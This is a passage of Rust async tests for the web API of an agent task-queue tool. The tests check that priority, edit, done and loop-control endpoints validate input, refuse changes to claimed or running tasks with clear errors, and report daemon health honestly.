14875 let route = format!("/api/queue/{}/urgent", t.id);
14876 for body in [
14877 r#"{}"#,
14878 r#"{"urgent":null}"#,
14879 r#"{"urgent":"true"}"#,
14880 r#"{"urgent":1}"#,
14881 r#"{"urgent":true,"extra":false}"#,
14882 "{",
14883 ] {
14884 assert_eq!(f.post(&route, Some(body)).await.status, 400);
14885 }
14886 t.status = TaskStatus::Queued;
14887 q.put(&mut t).unwrap();
14888 let claim = q.claim(&t.id).unwrap();
14889 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
14890 assert_eq!(response.status, 409, "{}", response.body);
14891 assert!(!q.get(&t.id).unwrap().urgent);
14892 drop(claim);
14893 for status in [
14894 TaskStatus::Running,
14895 TaskStatus::Done,
14896 TaskStatus::Failed,
14897 TaskStatus::Blocked,
14898 TaskStatus::Parked,
14899 ] {
14900 t.status = status;
14901 q.put(&mut t).unwrap();
14902 for urgent in [true, false] {
14903 let response = f
14904 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
14905 .await;
14906 assert_eq!(response.status, 400, "{}", response.body);
14907 assert!(response.body.contains(status.as_str()));
14908 assert!(response.body.contains("queued or held"));
14909 assert!(!q.get(&t.id).unwrap().urgent);
14910 }
14911 }
14912 assert_eq!(
14913 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
14914 .await
14915 .status,
14916 404
14917 );
14918 }
14919
14920 #[tokio::test]
14921 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
14922 let f = Fixture::start().await;
14923 let queue = f.queue();
14924 let mut older = Task::new(
14925 "filed first".to_owned(),
14926 "x".to_owned(),
14927 PathBuf::from("/repo/magi"),
14928 Source::Human,
14929 );
14930 older.id = "20260101-000001-aaaa".to_owned();
14931 let mut newer = Task::new(
14932 "filed second".to_owned(),
14933 "x".to_owned(),
14934 PathBuf::from("/repo/magi"),
14935 Source::Human,
14936 );
14937 newer.id = "20260101-000002-bbbb".to_owned();
14938 queue.put(&mut older).expect("file older");
14939 queue.put(&mut newer).expect("file newer");
14940
14941 let before = f.get("/api/queue").await.json();
14944 assert_eq!(before[0]["id"], newer.id);
14945 assert_eq!(before[1]["id"], older.id);
14946
14947 let raised = f
14951 .post(
14952 &format!("/api/queue/{}/priority", older.id),
14953 Some(r#"{"priority":10}"#),
14954 )
14955 .await;
14956 assert_eq!(raised.status, 200, "{}", raised.body);
14957 assert_eq!(raised.json()["priority"], 10);
14958
14959 let after = f.get("/api/queue").await.json();
14960 let names: Vec<&str> = after
14961 .as_array()
14962 .unwrap()
14963 .iter()
14964 .map(|t| t["id"].as_str().unwrap())
14965 .collect();
14966 assert_eq!(names[0], older.id, "the raised task now sorts first");
14970 }
14971
14972 #[tokio::test]
14973 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
14974 let dir = TempDir::new().unwrap();
14975 let q = Queue::at(dir.path().join("queue"));
14976 let ui = Arc::new(Ui::new(
14977 q.clone(),
14978 Questions::at(dir.path().join("questions")),
14979 Talks::at(dir.path().join("talks")),
14980 dir.path().join("runs"),
14981 dir.path().to_path_buf(),
14982 dir.path().to_path_buf(),
14983 ));
14984 let mut t = Task::new(
14985 "budget".into(),
14986 "keep".into(),
14987 dir.path().into(),
14988 Source::Human,
14989 );
14990 t.attempts = 2;
14991 t.runs.push("prior-run".into());
14992 t.hold_manual(Some("waiting".into()));
14993 q.put(&mut t).unwrap();
14994 let change = |value| {
14995 queue_attempt_limit(
14996 State(ui.clone()),
14997 Path(t.id.clone()),
14998 Ok(Json(AttemptLimitBody {
14999 attempt_limit: value,
15000 })),
15001 )
15002 };
15003 for value in [
15004 serde_json::json!(3),
15005 serde_json::Value::Null,
15006 serde_json::json!(1),
15007 ] {
15008 let response = change(value.clone()).await.unwrap();
15009 assert_eq!(
15010 serde_json::to_value(response.0).unwrap()["attempt_limit"],
15011 value
15012 );
15013 let saved = q.get(&t.id).unwrap();
15014 assert_eq!(
15015 serde_json::to_value(&saved).unwrap()["attempt_limit"],
15016 value
15017 );
15018 assert_eq!(saved.status, TaskStatus::Held);
15019 assert_eq!(saved.attempts, t.attempts);
15020 assert_eq!(saved.runs, t.runs);
15021 assert_eq!(saved.hold_reason, t.hold_reason);
15022 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
15023 .await
15024 .unwrap()
15025 .0;
15026 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
15027 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
15028 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
15029 assert_eq!(outcome.max_attempts, detail.max_attempts);
15030 }
15031 for value in [
15032 serde_json::json!(0),
15033 serde_json::json!(-1),
15034 serde_json::json!(1.5),
15035 serde_json::json!("3"),
15036 serde_json::json!(true),
15037 ] {
15038 assert_eq!(
15039 change(value).await.err().unwrap().status,
15040 StatusCode::BAD_REQUEST
15041 );
15042 }
15043 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
15044 let claim = q.claim(&t.id).unwrap();
15045 assert_eq!(
15046 change(serde_json::json!(4)).await.err().unwrap().status,
15047 StatusCode::CONFLICT
15048 );
15049 drop(claim);
15050 for status in [
15051 TaskStatus::Running,
15052 TaskStatus::Done,
15053 TaskStatus::Failed,
15054 TaskStatus::Blocked,
15055 TaskStatus::Parked,
15056 ] {
15057 let mut stored = q.get(&t.id).unwrap();
15058 stored.status = status;
15059 q.put(&mut stored).unwrap();
15060 assert_eq!(
15061 change(serde_json::json!(4)).await.err().unwrap().status,
15062 StatusCode::BAD_REQUEST
15063 );
15064 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
15065 }
15066 let mut stored = q.get(&t.id).unwrap();
15067 stored.status = TaskStatus::Queued;
15068 q.put(&mut stored).unwrap();
15069 let _ = change(serde_json::Value::Null).await.unwrap();
15070 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
15071 }
15072
15073 #[tokio::test]
15074 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
15075 let dir = TempDir::new().unwrap();
15076 let repo = dir.path().join("repo");
15077 std::fs::create_dir(&repo).unwrap();
15078 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
15079 let q = Queue::at(dir.path().join("queue"));
15080 let ui = Arc::new(Ui::new(
15081 q.clone(),
15082 Questions::at(dir.path().join("questions")),
15083 Talks::at(dir.path().join("talks")),
15084 dir.path().join("runs"),
15085 dir.path().to_path_buf(),
15086 repo.clone(),
15087 ));
15088 let mut t = Task::new(
15089 "seats".into(),
15090 "keep instruction".into(),
15091 repo,
15092 Source::Human,
15093 );
15094 t.runs.push("prior-run".into());
15095 t.hold_manual(Some("waiting".into()));
15096 q.put(&mut t).unwrap();
15097 let change = |count| {
15098 queue_implementers(
15099 State(ui.clone()),
15100 Path(t.id.clone()),
15101 Ok(Json(ImplementersBody {
15102 implementers: count,
15103 })),
15104 )
15105 };
15106 for count in [2, 1, 2] {
15107 let response = change(count).await.unwrap();
15108 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
15109 let saved = q.get(&t.id).unwrap();
15110 assert_eq!(saved.implementers(), Some(usize::from(count)));
15111 assert_eq!(saved.runs, t.runs);
15112 assert_eq!(saved.instruction, t.instruction);
15113 }
15114 for count in [0, 4] {
15115 assert_eq!(
15116 change(count).await.err().unwrap().status,
15117 StatusCode::BAD_REQUEST
15118 );
15119 }
15120 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
15121 let claim = q.claim(&t.id).unwrap();
15122 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
15123 drop(claim);
15124 for status in [
15125 TaskStatus::Running,
15126 TaskStatus::Done,
15127 TaskStatus::Failed,
15128 TaskStatus::Blocked,
15129 TaskStatus::Parked,
15130 ] {
15131 let mut stored = q.get(&t.id).unwrap();
15132 stored.status = status;
15133 q.put(&mut stored).unwrap();
15134 assert_eq!(
15135 change(1).await.err().unwrap().status,
15136 StatusCode::BAD_REQUEST
15137 );
15138 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
15139 }
15140 }
15141
15142 #[tokio::test]
15143 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
15144 let f = Fixture::start().await;
15145 let queue = f.queue();
15146 let mut task = Task::new(
15147 "in flight".to_owned(),
15148 "x".to_owned(),
15149 PathBuf::from("/repo/magi"),
15150 Source::Human,
15151 );
15152 task.start("20260902-140502-bbbb".to_owned());
15153 queue.put(&mut task).expect("file the task");
15154
15155 let res = f
15156 .post(
15157 &format!("/api/queue/{}/priority", task.id),
15158 Some(r#"{"priority":9}"#),
15159 )
15160 .await;
15161 assert_eq!(res.status, 400, "{}", res.body);
15162 assert!(
15163 res.json()["error"]
15164 .as_str()
15165 .is_some_and(|e| e.contains("running")),
15166 "{}",
15167 res.body
15168 );
15169 assert_eq!(
15170 queue.get(&task.id).expect("reload").priority,
15171 0,
15172 "the refused write must not partially apply"
15173 );
15174 }
15175
15176 #[tokio::test]
15177 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
15178 let f = Fixture::start().await;
15179 let queue = f.queue();
15180 let mut task = Task::new(
15181 "old title".to_owned(),
15182 "old instruction".to_owned(),
15183 PathBuf::from("/repo/magi"),
15184 Source::Agent {
15185 run: "20260101-000000-beef".to_owned(),
15186 node: "implement".to_owned(),
15187 },
15188 );
15189 task.runs.push("20260101-000000-beef".to_owned());
15190 queue.put(&mut task).expect("file the task");
15191 let created_at = task.created_at;
15192
15193 let edited = f
15194 .post(
15195 &format!("/api/queue/{}/edit", task.id),
15196 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
15197 )
15198 .await;
15199 assert_eq!(edited.status, 200, "{}", edited.body);
15200 let body = edited.json();
15201 assert_eq!(body["title"], "new title");
15202 assert_eq!(body["instruction"], "new instruction");
15203 assert_eq!(body["id"], task.id, "editing must not mint a new id");
15204 assert_eq!(body["created_at"], created_at.to_string());
15205 assert_eq!(
15206 body["source"]["kind"], "agent",
15207 "editing a task an agent filed must not turn it human: {body}"
15208 );
15209 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
15210
15211 let reloaded = queue.get(&task.id).expect("reload");
15212 assert_eq!(reloaded.title, "new title");
15213 assert_eq!(reloaded.instruction, "new instruction");
15214 }
15215
15216 #[tokio::test]
15217 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
15218 let tmp = TempDir::new().expect("tempdir");
15221 let repo = tmp.path().join("repo");
15222 std::fs::create_dir_all(&repo).expect("repo dir");
15223 let judge = MOCK_AGENT_TOML.replace(
15224 "printf ok",
15225 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
15226 );
15227 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
15228 let f = Fixture::with_repo(repo.clone()).await;
15229 let queue = f.queue();
15230 let mut owner = Task::new(
15231 "owner".to_owned(),
15232 "review it".to_owned(),
15233 repo.clone(),
15234 Source::Human,
15235 );
15236 owner.review_branch = Some("magi/ab12/A".to_owned());
15237 queue.put(&mut owner).expect("file the owner");
15238 let mut task = Task::new(
15239 "draft".to_owned(),
15240 "old".to_owned(),
15241 repo.clone(),
15242 Source::Human,
15243 );
15244 queue.put(&mut task).expect("file the draft");
15245 let url = format!("/api/queue/{}/edit", task.id);
15246
15247 let refused = f
15248 .post(
15249 &url,
15250 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
15251 )
15252 .await;
15253 assert_eq!(refused.status, 409, "{}", refused.body);
15254 let msg = refused.json()["error"]
15255 .as_str()
15256 .unwrap_or_default()
15257 .to_owned();
15258 assert!(
15259 msg.contains("magi/ab12/A") && msg.contains("force"),
15260 "{msg}"
15261 );
15262 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
15263
15264 let forced = f
15265 .post(
15266 &url,
15267 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
15268 )
15269 .await;
15270 assert_eq!(forced.status, 200, "{}", forced.body);
15271 }
15272
15273 #[tokio::test]
15274 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
15275 let f = Fixture::start().await;
15276 let queue = f.queue();
15277 let mut task = Task::new(
15278 "in flight".to_owned(),
15279 "do not touch".to_owned(),
15280 PathBuf::from("/repo/magi"),
15281 Source::Human,
15282 );
15283 task.start("20260902-140502-bbbb".to_owned());
15284 queue.put(&mut task).expect("file the task");
15285
15286 let res = f
15287 .post(
15288 &format!("/api/queue/{}/edit", task.id),
15289 Some(r#"{"title":"x","instruction":"y"}"#),
15290 )
15291 .await;
15292 assert_eq!(res.status, 400, "{}", res.body);
15293 assert!(
15294 res.json()["error"]
15295 .as_str()
15296 .is_some_and(|e| e.contains("running")),
15297 "{}",
15298 res.body
15299 );
15300 assert_eq!(
15301 queue.get(&task.id).expect("reload").instruction,
15302 "do not touch",
15303 "the refused edit must not change the file"
15304 );
15305 }
15306
15307 #[tokio::test]
15308 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
15309 let f = Fixture::start().await;
15310 let queue = f.queue();
15311 let mut task = Task::new(
15312 "busy".to_owned(),
15313 "Running right now".to_owned(),
15314 PathBuf::from("/repo/magi"),
15315 Source::Human,
15316 );
15317 queue.put(&mut task).expect("file the task");
15318 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15319
15320 let priority = f
15321 .post(
15322 &format!("/api/queue/{}/priority", task.id),
15323 Some(r#"{"priority":9}"#),
15324 )
15325 .await;
15326 assert_eq!(priority.status, 409, "{}", priority.body);
15327
15328 let edit = f
15329 .post(
15330 &format!("/api/queue/{}/edit", task.id),
15331 Some(r#"{"title":"x","instruction":"y"}"#),
15332 )
15333 .await;
15334 assert_eq!(edit.status, 409, "{}", edit.body);
15335 }
15336
15337 #[tokio::test]
15338 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
15339 let f = Fixture::start().await;
15340 let queue = f.queue();
15341 let mut task = Task::new(
15342 "shipped by hand".to_owned(),
15343 "merged outside the loop".to_owned(),
15344 PathBuf::from("/repo/magi"),
15345 Source::Agent {
15346 run: "20260101-000000-b455".to_owned(),
15347 node: "implement".to_owned(),
15348 },
15349 );
15350 task.runs.push("20260101-000000-b455".to_owned());
15351 task.runs.push("20260101-000000-9af4".to_owned());
15352 queue.put(&mut task).expect("file the task");
15353 let created_at = task.created_at;
15354
15355 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15356 assert_eq!(done.status, 200, "{}", done.body);
15357 assert_eq!(done.json()["status_str"], "done");
15358
15359 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
15360 assert_eq!(
15361 reloaded.runs,
15362 ["20260101-000000-b455", "20260101-000000-9af4"]
15363 );
15364 assert_eq!(
15365 reloaded.source,
15366 Source::Agent {
15367 run: "20260101-000000-b455".to_owned(),
15368 node: "implement".to_owned(),
15369 }
15370 );
15371 assert_eq!(reloaded.created_at, created_at);
15372 }
15373
15374 #[tokio::test]
15375 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
15376 let f = Fixture::start().await;
15381 let queue = f.queue();
15382 let mut task = Task::new(
15383 "landed while held".to_owned(),
15384 "x".to_owned(),
15385 PathBuf::from("/repo/magi"),
15386 Source::Human,
15387 );
15388 task.hold_manual(Some("waiting on 3ed9".to_owned()));
15389 queue.put(&mut task).expect("file the held task");
15390
15391 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15392 assert_eq!(done.status, 200, "{}", done.body);
15393 assert_eq!(done.json()["status_str"], "done");
15394 assert!(
15395 done.json()["hold_reason"].is_null(),
15396 "a done task cannot still be waiting on something: {}",
15397 done.body
15398 );
15399 }
15400
15401 #[tokio::test]
15402 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
15403 let f = Fixture::start().await;
15408 let queue = f.queue();
15409 let runs = f.runs();
15410 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
15411 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
15415
15416 let mut task = Task::new(
15417 "landed by hand".to_owned(),
15418 "x".to_owned(),
15419 PathBuf::from("/repo/magi"),
15420 Source::Human,
15421 );
15422 task.runs.push("20260101-000000-doa1".to_owned());
15423 task.runs.push("20260101-000000-doa2".to_owned());
15424 queue.put(&mut task).expect("file the task");
15425
15426 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15427 assert_eq!(done.status, 200, "{}", done.body);
15428
15429 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
15430 .expect("run still on disk under this fixture's own home");
15431 assert_eq!(
15432 reloaded_run.status,
15433 RunStatus::Superseded,
15434 "closing the task by hand must relabel the earlier blocked attempt exactly \
15435 like the loop's own settle path does"
15436 );
15437 }
15438
15439 #[tokio::test]
15440 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
15441 let f = Fixture::start().await;
15446 let queue = f.queue();
15447 let runs = f.runs();
15448 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
15449 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
15450
15451 let mut task = Task::new(
15452 "closed with nothing actually landed".to_owned(),
15453 "x".to_owned(),
15454 PathBuf::from("/repo/magi"),
15455 Source::Human,
15456 );
15457 task.runs.push("20260101-000000-dob1".to_owned());
15458 task.runs.push("20260101-000000-dob2".to_owned());
15459 queue.put(&mut task).expect("file the task");
15460
15461 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15462 assert_eq!(done.status, 200, "{}", done.body);
15463
15464 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
15465 .expect("run still on disk under this fixture's own home");
15466 assert_eq!(
15467 reloaded_run.status,
15468 RunStatus::Blocked,
15469 "the last recorded attempt never landed, so the earlier one must not be \
15470 relabelled as superseded by it"
15471 );
15472 }
15473
15474 #[tokio::test]
15475 async fn unknown_ids_are_json_not_found_on_both_stores() {
15476 let f = Fixture::start().await;
15477
15478 let run = f.get("/api/runs/nosuchrun").await;
15479 let task = f.post("/api/queue/nosuchtask/hold", None).await;
15480
15481 assert_eq!(run.status, 404);
15482 assert_eq!(task.status, 404);
15483 assert!(
15484 run.json()["error"]
15485 .as_str()
15486 .is_some_and(|e| e.contains("run")),
15487 "the error names what was not found: {}",
15488 run.body
15489 );
15490 assert!(
15491 task.json()["error"]
15492 .as_str()
15493 .is_some_and(|e| e.contains("task")),
15494 "the error names what was not found: {}",
15495 task.body
15496 );
15497 }
15498
15499 #[tokio::test]
15500 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
15501 let f = Fixture::start().await;
15502
15503 let missing = f.get("/api/health").await.json();
15504 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
15505
15506 write_daemon(
15507 f.home.path(),
15508 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15509 );
15510 let stale = f.get("/api/health").await.json();
15511 assert_eq!(
15512 stale["daemon"]["running"], false,
15513 "a minute without a heartbeat is a dead daemon, not a busy one"
15514 );
15515 assert!(
15516 stale["daemon"]["stale_for_secs"]
15517 .as_i64()
15518 .is_some_and(|s| s >= 55),
15519 "staleness is reported so the UI can say how long: {stale}"
15520 );
15521
15522 write_daemon(f.home.path(), Timestamp::now());
15523 let fresh = f.get("/api/health").await.json();
15524 assert_eq!(fresh["daemon"]["running"], true);
15525 assert_eq!(fresh["daemon"]["idle"], false);
15526 assert_eq!(fresh["daemon"]["pid"], 4242);
15527 assert_eq!(fresh["daemon"]["completed"], 7);
15528 assert_eq!(
15529 fresh["daemon"]["current"][0]["task"],
15530 "20260902-140501-aaaa"
15531 );
15532 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
15533 }
15534
15535 #[tokio::test]
15536 async fn the_loop_is_not_running_until_something_starts_it() {
15537 let f = Fixture::start().await;
15538
15539 let view = f.get("/api/loop").await.json();
15540 assert_eq!(view["running"], false);
15541 assert_eq!(
15542 view["owned"], false,
15543 "nobody owns a loop that does not exist: {view}"
15544 );
15545 assert_eq!(view["stopping"], false);
15546 assert_eq!(view["last_error"], Value::Null);
15547 assert_eq!(view["daemon"]["running"], false);
15548 assert_eq!(
15549 view["repo"], "/repo/magi",
15550 "the repository a start would use, named before it is started"
15551 );
15552 }
15553
15554 #[tokio::test]
15555 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
15556 let f = Fixture::start().await;
15557
15558 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15559 assert_eq!(res.status, 200, "{}", res.body);
15560 let view = res.json();
15561 assert_eq!(view["running"], true);
15562 assert_eq!(
15563 view["owned"], true,
15564 "the loop the UI started is the UI's own to stop: {view}"
15565 );
15566 assert_eq!(
15567 view["merge"],
15568 Value::Null,
15569 "no override was given, so each repository's own config decides"
15570 );
15571
15572 let health = f.get("/api/health").await.json();
15576 assert_eq!(health["loop"]["running"], true, "{health}");
15577 assert_eq!(health["loop"]["owned"], true, "{health}");
15578
15579 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15580 }
15581
15582 #[tokio::test]
15583 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
15584 let f = Fixture::start().await;
15585 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15586 assert_eq!(first.status, 200, "{}", first.body);
15587
15588 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15589 assert_eq!(
15590 again.status, 409,
15591 "two loops on one queue race for the same claims: {}",
15592 again.body
15593 );
15594 assert!(
15595 again.json()["error"]
15596 .as_str()
15597 .is_some_and(|e| e.contains("already running the loop")),
15598 "the refusal has to say why: {}",
15599 again.body
15600 );
15601 assert_eq!(
15602 f.get("/api/loop").await.json()["running"],
15603 true,
15604 "and the loop that was already running is untouched by it"
15605 );
15606
15607 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15608 }
15609
15610 #[tokio::test]
15611 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
15612 let f = Fixture::start().await;
15613 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15614
15615 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15616 assert_eq!(
15617 res.status, 200,
15618 "the answer must not wait for the loop: a run in flight is tens of \
15619 minutes and the operator is holding a phone: {}",
15620 res.body
15621 );
15622
15623 let view = settled(&f, |v| v["running"] == false).await;
15624 assert_eq!(view["owned"], false);
15625 assert_eq!(
15626 view["stopping"], false,
15627 "a loop that has stopped is not still stopping: {view}"
15628 );
15629 assert_eq!(
15630 view["last_error"],
15631 Value::Null,
15632 "a loop that was asked to stop did not fail: {view}"
15633 );
15634
15635 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15638 assert_eq!(twice.status, 200, "{}", twice.body);
15639 }
15640
15641 #[tokio::test]
15642 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
15643 let f = Fixture::start().await;
15644 write_daemon(f.home.path(), Timestamp::now());
15647
15648 let view = f.get("/api/loop").await.json();
15649 assert_eq!(view["running"], false, "not in this process: {view}");
15650 assert_eq!(view["owned"], false, "and not this process's to control");
15651 assert_eq!(
15652 view["daemon"]["running"], true,
15653 "but a loop is alive somewhere, which is what the UI must say"
15654 );
15655 assert_eq!(view["daemon"]["pid"], 4242);
15656
15657 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
15658 let res = f.post("/api/loop", Some(body)).await;
15659 assert_eq!(
15660 res.status, 409,
15661 "neither button may pretend to work on someone else's loop: {}",
15662 res.body
15663 );
15664 assert!(
15665 res.json()["error"]
15666 .as_str()
15667 .is_some_and(|e| e.contains("4242")),
15668 "the refusal has to name the process the operator must go to: {}",
15669 res.body
15670 );
15671 }
15672 assert_eq!(
15673 f.get("/api/loop").await.json()["running"],
15674 false,
15675 "and the refusal started nothing"
15676 );
15677 }
15678
15679 #[tokio::test]
15680 async fn a_stale_status_file_is_not_a_foreign_owner() {
15681 let f = Fixture::start().await;
15682 write_daemon(
15683 f.home.path(),
15684 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15685 );
15686
15687 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15688 assert_eq!(
15689 res.status, 200,
15690 "a daemon killed a minute ago must not lock the loop out of its \
15691 own home for good: {}",
15692 res.body
15693 );
15694 assert_eq!(res.json()["running"], true);
15695
15696 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15697 }
15698
15699 #[tokio::test]
15700 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
15701 let f = Fixture::start().await;
15702 let before = f.get("/api/health").await.json()["loop_rev"]
15703 .as_u64()
15704 .expect("a loop revision");
15705
15706 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15707
15708 let after = f.get("/api/health").await.json()["loop_rev"]
15709 .as_u64()
15710 .expect("a loop revision");
15711 assert!(
15712 after > before,
15713 "the loop is in-process state, so this counter is the only thing \
15714 that tells a second device the first one started it: {before} -> \
15715 {after}"
15716 );
15717
15718 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15719 }
15720
15721 #[tokio::test]
15722 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
15723 let f = Fixture::with_loop(launch_broken).await;
15724
15725 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15726 assert_eq!(
15727 res.status, 200,
15728 "starting it is not the failure: {}",
15729 res.body
15730 );
15731
15732 let view = settled(&f, |v| v["last_error"].is_string()).await;
15733 assert_eq!(
15734 view["running"], false,
15735 "a loop that died must not read as running, or the operator has \
15736 nothing to press: {view}"
15737 );
15738 assert_eq!(view["owned"], false);
15739 assert!(
15740 view["last_error"]
15741 .as_str()
15742 .is_some_and(|e| e.contains("read-only file system")),
15743 "the phone is where a loop that died at 3am is visible: {view}"
15744 );
15745
15746 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15749 assert_eq!(again.status, 200, "{}", again.body);
15750 assert!(
15751 again.json()["last_error"]
15752 .as_str()
15753 .is_none_or(|e| !e.contains("read-only file system")),
15754 "a fresh start does not keep showing why the last one died: {}",
15755 again.body
15756 );
15757 }
15758
15759 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
15771 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
15772 let home = TempDir::new().expect("temp home");
15773 let runs = home.path().join("runs");
15774 std::fs::create_dir_all(&runs).expect("runs dir");
15775 let ui = Ui::new(
15776 Queue::at(home.path().join("queue")),
15777 Questions::at(home.path().join("questions")),
15778 Talks::at(home.path().join("talks")),
15779 runs,
15780 home.path().to_path_buf(),
15781 PathBuf::from("/repo/magi"),
15782 )
15783 .with_worktrees_root(home.path().join("wt"))
15784 .with_launch(launch_knocking_on_the_way_out);
15785 let looping = ui.looping();
15786 let turns = ui.turns();
15787 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15788 .await
15789 .expect("bind loopback");
15790 let addr = listener.local_addr().expect("local addr");
15791 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
15792 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15793
15794 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
15795 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
15796
15797 let bound = std::sync::Mutex::new(None);
15812 hand_over(
15813 home.path(),
15814 &looping,
15815 &turns,
15816 &|_: &[String]| Duration::from_secs(5),
15817 served,
15818 |_| {
15819 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
15820 let attempt = loop {
15821 match std::net::TcpListener::bind(addr) {
15822 Ok(l) => {
15823 drop(l);
15824 break Ok(());
15825 }
15826 Err(e)
15827 if e.kind() == std::io::ErrorKind::AddrInUse
15828 && std::time::Instant::now() < deadline =>
15829 {
15830 std::thread::sleep(std::time::Duration::from_millis(10));
15831 }
15832 Err(e) => break Err(e.to_string()),
15833 }
15834 };
15835 *bound.lock().expect("bound") = Some(attempt);
15836 Ok(1)
15837 },
15838 )
15839 .await
15840 .expect("hand over");
15841
15842 assert_eq!(
15843 *PARK_HEARD.lock().expect("park heard"),
15844 Some(200),
15845 "the deck must answer while the loop is parking"
15846 );
15847 let attempt = bound
15848 .lock()
15849 .expect("bound")
15850 .take()
15851 .expect("the successor was started");
15852 assert!(
15853 attempt.is_ok(),
15854 "and the address must be free by the time it is: {attempt:?}"
15855 );
15856 }
15857
15858 #[tokio::test]
15859 async fn a_newer_daemon_status_file_still_renders() {
15860 let f = Fixture::start().await;
15861 std::fs::write(
15864 f.home.path().join("daemon.json"),
15865 serde_json::json!({
15866 "schema": 2,
15867 "updated_at": Timestamp::now().to_string(),
15868 "idle": true,
15869 "surprise": { "nested": [1, 2, 3] },
15870 })
15871 .to_string(),
15872 )
15873 .expect("write daemon.json");
15874
15875 let health = f.get("/api/health").await;
15876
15877 assert_eq!(health.status, 200);
15878 assert_eq!(health.json()["daemon"]["running"], true);
15879 }
15880
15881 #[tokio::test]
15882 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
15883 let f = Fixture::start().await;
15884 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
15885 let broken = f.runs().join("20260902-140502-bad");
15886 std::fs::create_dir_all(&broken).expect("run dir");
15887 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
15888
15889 let list = f.get("/api/runs").await;
15890 let detail = f.get("/api/runs/20260902-140502-bad").await;
15891
15892 assert_eq!(list.status, 200);
15893 let listed = list.json();
15894 let ids: Vec<&str> = listed
15895 .as_array()
15896 .expect("an array")
15897 .iter()
15898 .map(|r| r["id"].as_str().expect("an id"))
15899 .collect();
15900 assert_eq!(
15901 ids,
15902 vec!["20260902-140501-good"],
15903 "one unreadable run must not cost the operator the whole history"
15904 );
